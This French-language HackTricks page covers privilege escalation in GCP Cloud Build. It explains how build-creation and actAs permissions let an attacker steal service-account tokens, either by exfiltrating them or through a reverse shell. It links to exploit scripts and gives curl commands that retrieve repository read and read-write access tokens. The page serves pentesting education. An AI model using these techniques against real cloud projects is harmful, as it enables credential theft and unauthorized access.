# GCP - Cloudbuild Privesc

{{#include ../../../banners/hacktricks-training.md}}

## cloudbuild

Pour plus d'informations sur Cloud Build, consultez :

{{#ref}}
../gcp-services/gcp-cloud-build-enum.md
{{#endref}}

### `cloudbuild.builds.create`, `iam.serviceAccounts.actAs`

Avec cette permission, vous pouvez **soumettre un cloud build**. La machine cloudbuild aura dans son système de fichiers par **défaut un token du Service Account cloudbuild** : `<PROJECT_NUMBER>@cloudbuild.gserviceaccount.com`. Cependant, vous pouvez **indiquer n'importe quel service account à l'intérieur du projet** dans la configuration cloudbuild.\
Par conséquent, vous pouvez simplement faire exfiltrer le token vers votre serveur ou **obtenir un reverse shell à l'intérieur et récupérer le token** (le fichier contenant le token peut changer).

Vous pouvez trouver le script d'exploitation original [**ici sur GitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) (mais l'emplacement d'où il prend le token n'a pas fonctionné pour moi). Par conséquent, consultez un script pour automatiser la [**création, l'exploitation et le nettoyage d'un environnement vulnérable ici**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) et un script python pour obtenir un reverse shell à l'intérieur de la machine cloudbuild et [**le voler ici**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (dans le code, vous pouvez trouver comment spécifier d'autres service accounts)**.**

Pour une explication plus approfondie, visitez [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/)

### `cloudbuild.builds.update`

**Potentiellement**, avec cette permission, vous serez en mesure de **mettre à jour un cloud build et simplement voler le token du service account** comme cela a été effectué avec la permission précédente (mais malheureusement, au moment de la rédaction de ce document, je n'ai pas pu trouver de moyen d'appeler cette API).

TODO

### `cloudbuild.repositories.accessReadToken`

Avec cette permission, l'utilisateur peut obtenir le **token d'accès en lecture** utilisé pour accéder au dépôt :
```bash
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadToken"
```
### `cloudbuild.repositories.accessReadWriteToken`

Avec cette autorisation, l'utilisateur peut obtenir le **jeton d'accès en lecture et écriture** utilisé pour accéder au dépôt :
```bash
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadWriteToken"
```
### `cloudbuild.connections.fetchLinkableRepositories`

Avec cette autorisation, vous pouvez **obtenir les dépôts auxquels la connexion a accès :**
```bash
curl -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>:fetchLinkableRepositories"
```
{{#include ../../../banners/hacktricks-training.md}}
